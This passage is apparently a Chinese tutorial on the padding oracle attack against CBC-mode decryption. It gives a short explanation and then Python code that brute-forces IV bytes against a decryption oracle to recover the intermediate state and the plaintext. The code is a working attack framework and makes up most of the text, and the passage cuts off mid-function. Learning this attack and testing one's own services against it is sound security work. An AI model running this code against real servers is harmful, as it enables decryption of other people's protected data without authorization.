当服务器处理CBC解密时,对于失败和成功返回不同的结果,就能进行Padding Oracle Attack。类似于布尔型SQL注入,针对每个分组的每个字节,输入正确的padding值(相当于明文),修改这个分组的iv,测试并找到返回成功的结果,与padding值XOR就能获得中间状态值(即图中的I2)。
padding oracle实现代码:
#coding=utf-8
#python 3
#padding oracle 实现代码
from Crypto import Random
#分组最大字节数
BS = 16
def pad(s):
return s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
def unpad(s):
return s[0:-s[-1]]
def find_valid_byte(req_fn, find_valid_fn, data, pos, min_req):
'''找到解密数据指定位置的正确IV字节值
req_fn 请求解密的函数
find_valid_fn 找到正确值的函数,参数为测试值和req_fn返回结果组成的map,如{1 : 'resp data'},
返回结果为正确的值,没有则需要返回None
data 要解密的数据
pos 要查找正确值的位置
min_req 最小测试次数,请求达到min_req次,就会比较是否找到正确的padding值'''
data = bytearray(data)
results = {}
for i in range(0x100):
#检测从0到255的值是否符合padding要求
data[pos] = i
results[i] = req_fn(bytes(data))
if i >= min_req:
r_data = find_valid_fn(results)
if r_data:
return r_data
return find_valid_fn(results)
def format_padding_iv(iv, pos, value):
'''格式化padding对应的iv
pos 指定开始位置
value 要测试的padding值
'''
r = bytearray(iv)
for idx, val in enumerate(r):
if idx > pos:
r[idx] = val ^ value
else:
r[idx] = val
return bytes(r)
def padding_oracle_group(req_fn, find_valid_fn, data, orig_iv, i_state=b'', min_req=256):
''' 获取一组数据的解密结果和intermiedate state
req_fn 请求解密的函数
find_valid_fn 找到正确值的函数,参数为测试值和req_fn返回结果组成的map,如{1 : 'resp data'},
返回结果为正确的值,没有则需要返回None
data 要解密的数据, bytes
orig_iv 要解密数据的iv, bytes
i_state 如果指定i_state,则会从没找到的位置继续
'''
count = BS - len(i_state)
iv = bytearray(Random.new().read(count) + i_state)
r_istate = bytearray(i_state)
for pos in reversed(range(count